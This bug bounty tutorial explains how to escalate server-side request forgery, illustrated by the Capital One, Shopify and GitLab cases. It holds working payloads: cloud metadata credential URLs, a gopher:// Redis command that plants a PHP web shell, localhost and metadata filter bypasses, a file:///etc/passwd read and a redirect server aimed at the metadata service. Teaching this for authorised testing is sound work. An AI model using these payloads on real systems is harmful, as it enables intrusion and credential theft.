SSRF: From P4 to Critical

What is SSRF?

Server-Side Request Forgery (SSRF) is a vulnerability that lets an attacker make the server issue HTTP requests to arbitrary destinations. Instead of attacking directly, you use the server as a proxy to reach internal resources you'd have no access to from the outside.

Attacker → Vulnerable server → Internal network / Cloud services

Why does it start as P4 (Low)?

Many bug bounty programs classify a basic SSRF as low severity (P4) because:

• It only confirms that you can make the server issue a request
• Without demonstrating access to sensitive data, the impact is limited
• A "blind" SSRF (where you can't see the response) may look harmless

But the reality is that SSRF is one of the vulnerabilities with the greatest escalation potential if you know how to exploit it.

Common scenarios where SSRF shows up

# Typical features vulnerable to SSRF:
- Import image from URL
- Link preview / link unfurling
- Configurable webhooks
- Export page as PDF
- Integrations with external services
- API proxies
- XML parsers (also XXE → SSRF)

Escalation 1: Cloud Metadata

This is the most classic and most dangerous escalation. If the application runs on AWS, GCP or Azure, you can reach the instance metadata service:

AWS

# AWS EC2 metadata endpoint
http://169.254.169.254/latest/meta-data/

# Get temporary IAM credentials
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME

# The response includes:
{
  "AccessKeyId": "ASIAXXX...",
  "SecretAccessKey": "xxx...",
  "Token": "xxx...",
  "Expiration": "2026-01-15T12:00:00Z"
}

With these credentials you can access S3, databases, and potentially compromise the company's entire cloud infrastructure. That instantly turns a P4 into Critical.

GCP

# Google Cloud metadata
http://metadata.google.internal/computeMetadata/v1/
# Requires header: Metadata-Flavor: Google

# Get an access token
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

Azure

# Azure Instance Metadata Service
http://169.254.169.254/metadata/instance?api-version=2021-02-01
# Requires header: Metadata: true

# Get an access token
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/

Escalation 2: Internal port scanning

Use the SSRF to map the internal network:

# Probe common ports on internal ranges
http://10.0.0.1:80
http://10.0.0.1:8080
http://10.0.0.1:3306      # MySQL
http://10.0.0.1:6379      # Redis
http://10.0.0.1:9200      # Elasticsearch
http://10.0.0.1:27017     # MongoDB
http://192.168.1.1:8443   # Admin panel
http://172.16.0.1:9090    # Prometheus

If you discover an internal service without authentication (Redis, Elasticsearch, etc.), the impact can be very high.

Escalation 3: Attack chains

SSRF becomes especially dangerous when you combine it with other vulnerabilities:

SSRF + Redis = RCE

If you find an internal Redis without authentication:

# Using the gopher protocol to send commands to Redis
gopher://10.0.0.1:6379/_SET%20shell%20%22<%3Fphp%20system(%24_GET['cmd'])%3B%20%3F>%22%0ACONFIG%20SET%20dir%20/var/www/html%0ACONFIG%20SET%20dbfilename%20shell.php%0ASAVE

SSRF + Admin panels

If you discover an internal admin panel:

http://10.0.0.1:8080/admin/
http://internal-jenkins.target.local:8080/
http://internal-grafana.target.local:3000/

Bypassing filters and protections

Developers try to block SSRF with blacklists, but there are many ways to evade them:

IP bypass

# Alternative representations of 127.0.0.1
http://127.1/
http://0x7f000001/
http://2130706433/          # Decimal
http://0177.0.0.1/          # Octal
http://[::1]/               # IPv6
http://127.000.000.001/     # With zeros
http://0/                   # May resolve to localhost

Bypassing 169.254.169.254

# Alternative representations
http://[::ffff:169.254.169.254]/
http://0xa9fea9fe/          # Hexadecimal
http://2852039166/           # Decimal
http://169.254.169.254.nip.io/  # DNS rebinding

DNS Rebinding

Set up a domain that alternately resolves to your IP and an internal IP:

1. First resolution: your-domain.com → public IP (passes validation)
2. Second resolution: your-domain.com → 169.254.169.254 (reaches the metadata)

Tools like rbndr or services like rebind.it make this attack easy.

URL scheme bypass

# If they only block http/https
file:///etc/passwd
dict://internal-host:11211/stat
gopher://internal-host:6379/_INFO
ftp://internal-host/

Redirects

If the application follows redirects, you can serve a redirect from your server:

# redirect.py - Server that redirects to metadata
from http.server import HTTPServer, BaseHTTPRequestHandler

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(302)
        self.send_header('Location', 'http://169.254.169.254/latest/meta-data/')
        self.end_headers()

HTTPServer(('0.0.0.0', 8080), Handler).serve_forever()

Blind SSRF

If you can't see the server's response, you can still:

1. Confirm connectivity: Use a service like Burp Collaborator or interact.sh to receive requests
2. Infer information: Measure response times (open port vs. closed)
3. Exfiltrate data: If the server includes the response in logs or error messages

# Use interact.sh to detect blind SSRF
interactsh-client

# Then use the generated URL as the SSRF target
http://abc123.interact.sh

Real-world impact examples

• Capital One (2019): An SSRF in a WAF allowed access to AWS IAM credentials, compromising the data of 100+ million customers. Result: one of the largest breaches in history.
• Shopify: An SSRF in the product import feature allowed access to GCP metadata.
• GitLab: Multiple SSRFs that allowed scanning the internal network.

How to report high-impact SSRF

Title: SSRF in [feature] allows access to AWS IAM credentials

Impact: An attacker can obtain temporary AWS credentials with permissions
to [list affected roles]. This allows access to [S3 buckets, databases,
etc.] compromising the data of [X users/customers].

Steps:
1. Go to [vulnerable feature]
2. Intercept the request with Burp
3. Change the URL parameter to: http://169.254.169.254/latest/meta-data/iam/security-credentials/
4. Observe the role name in the response
5. Repeat with: http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE_NAME]
6. Obtain AccessKeyId, SecretAccessKey and Token
7. Verify access: aws sts get-caller-identity --profile stolen

Conclusion

SSRF is the vulnerability with the greatest escalation potential in a bug bounty hunter's arsenal. What looks like a simple "the server makes a request" can turn into full access to a company's cloud infrastructure. The key is to not settle for demonstrating the basic SSRF: always try to escalate to cloud metadata, scan the internal network and chain it with other vulnerabilities. A well-escalated SSRF can be worth tens of thousands of dollars in bug bounty programs.